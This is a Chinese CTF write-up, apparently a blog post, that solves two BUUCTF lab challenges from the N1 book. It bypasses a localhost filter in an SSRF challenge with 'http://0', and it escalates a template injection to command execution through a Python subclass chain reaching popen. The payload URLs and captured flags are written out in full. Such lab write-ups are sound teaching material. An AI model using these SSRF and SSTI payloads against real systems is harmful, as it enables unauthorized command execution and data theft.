从0到1CTFer成长之路-第三章-Python的安全问题

声明

好好向大佬们学习!!!

攻击

Python里的SSRF

摘自

https://book.nu1l.com/tasks/#/

使用BUUCTF在线环境

https://buuoj.cn/challenges

访问

http://e9fdde38-8e19-4e73-ab14-517824da6772.node3.buuoj.cn

在这里插入图片描述

下图提示,url参数是需要的,那就是,再看上图中,提示访问容器内部的8000端口和后面的接口,那其实就是访问自己的8000下的这个URL,也就是

http://127.0.0.1:8000/api/internal/secret

在这里插入图片描述

访问一下试试看,显示127被禁用了

http://e9fdde38-8e19-4e73-ab14-517824da6772.node3.buuoj.cn/?url=http://127.0.0.1:8000/api/internal/secret

在这里插入图片描述

那这个题的核心,就在于,怎么绕过127的检测,以前看到过很多都是移位去检测的,在这里我google,CTF绕过127.0.0.1检测

https://zhuanlan.zhihu.com/p/302861528

也想起了CTFer这本书中,之前是提到过一些,windows中和linux中,代表着本机IP或者127.0.0.1的IP的其他的写法,我先测一下这台服务器是windows还是linux,利用linux区分大小写的性质,输入以下两个URL,可以看到这两个URL的区别是,一个参数名是url,一个参数名是urL,区别在于参数的最后一位l和L

http://e9fdde38-8e19-4e73-ab14-517824da6772.node3.buuoj.cn/?url=1
http://e9fdde38-8e19-4e73-ab14-517824da6772.node3.buuoj.cn/?urL=1

在这里插入图片描述

在这里插入图片描述

通过上图对比可以看出,当参数为urL时,返回url参数为空,这就说明人家不认,就说嘛服务器是linux,在linux下,0代表着127.0.0.1

果断输入,拿到flag,其实还有很多域名啊,302啊多种绕过方式,短链接也是可以的,把url里面的内容在线转成短链接

http://e9fdde38-8e19-4e73-ab14-517824da6772.node3.buuoj.cn/?url=http://0:8000/api/internal/secret
n1book{1132e28b5433c878}

在这里插入图片描述

在这里插入图片描述

SSTI

摘自

https://book.nu1l.com/tasks/#/

参考

https://xz.aliyun.com/t/3679

使用BUUCTF在线环境

https://buuoj.cn/challenges

访问

http://0eddd11c-0bb1-45ac-af03-e3f29994bf7d.node3.buuoj.cn

在这里插入图片描述

显示password是错误的,这不就是说提交了password参数,那找到地方提交,那就自己在URL上提交吧,感觉每次遇到这种都是自己构造URL

在这里插入图片描述

访问,发现,输入的内容被原封不动的打印出来了

http://0eddd11c-0bb1-45ac-af03-e3f29994bf7d.node3.buuoj.cn/?password=1

在这里插入图片描述

试一试模板注入,计算出来4,说明可以使用模板注入

http://0eddd11c-0bb1-45ac-af03-e3f29994bf7d.node3.buuoj.cn/?password={{2*2}}

在这里插入图片描述

访问

http://0eddd11c-0bb1-45ac-af03-e3f29994bf7d.node3.buuoj.cn/?password={{"".__class__}}

在这里插入图片描述

访问,列出了所有的类,搜索关键字os._wrap_close,将返回的内容拷贝到nodepad++,或者其他编辑器中,根据逗号数一数,关键字在第几个

http://0eddd11c-0bb1-45ac-af03-e3f29994bf7d.node3.buuoj.cn/?password={{"".__class__.__bases__[0].__subclasses__()}}

在这里插入图片描述

我这里数的第128个,有可能会有差别,上下一两个都试试,试试126、127、128、129、130

最后127是这个类,访问

http://0eddd11c-0bb1-45ac-af03-e3f29994bf7d.node3.buuoj.cn/?password={{"".__class__.__bases__[0].__subclasses__()[127]}}

在这里插入图片描述

找该类下的所有方法和变量,访问,搜索关键字popen

http://0eddd11c-0bb1-45ac-af03-e3f29994bf7d.node3.buuoj.cn/?password={{"".__class__.__bases__[0].__subclasses__()[127].__init__.__globals__}}

在这里插入图片描述

那就用popen这个方法,根据上一道题,先测一测这个服务器是linux还是windows,我是根据passwd和passwD,看过的都懂,我这里试过的是linux,那就执行linux命令ls,访问

http://0eddd11c-0bb1-45ac-af03-e3f29994bf7d.node3.buuoj.cn/?password={{"".__class__.__bases__[0].__subclasses__()[127].__init__.__globals__['popen']('ls').read()}}

在这里插入图片描述

那就是一步一步找了,看看flag在哪个文件中,不过app的嫌疑肯定是最大,因为不是默认的,虽然我一般都先去home和tmp,最后在app中找到了flag

在这里插入图片描述

http://0eddd11c-0bb1-45ac-af03-e3f29994bf7d.node3.buuoj.cn/?password={{"".__class__.__bases__[0].__subclasses__()[127].__init__.__globals__['popen']('cat ./app/server.py').read()}}
n1book{eddb84d69a421a82}

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值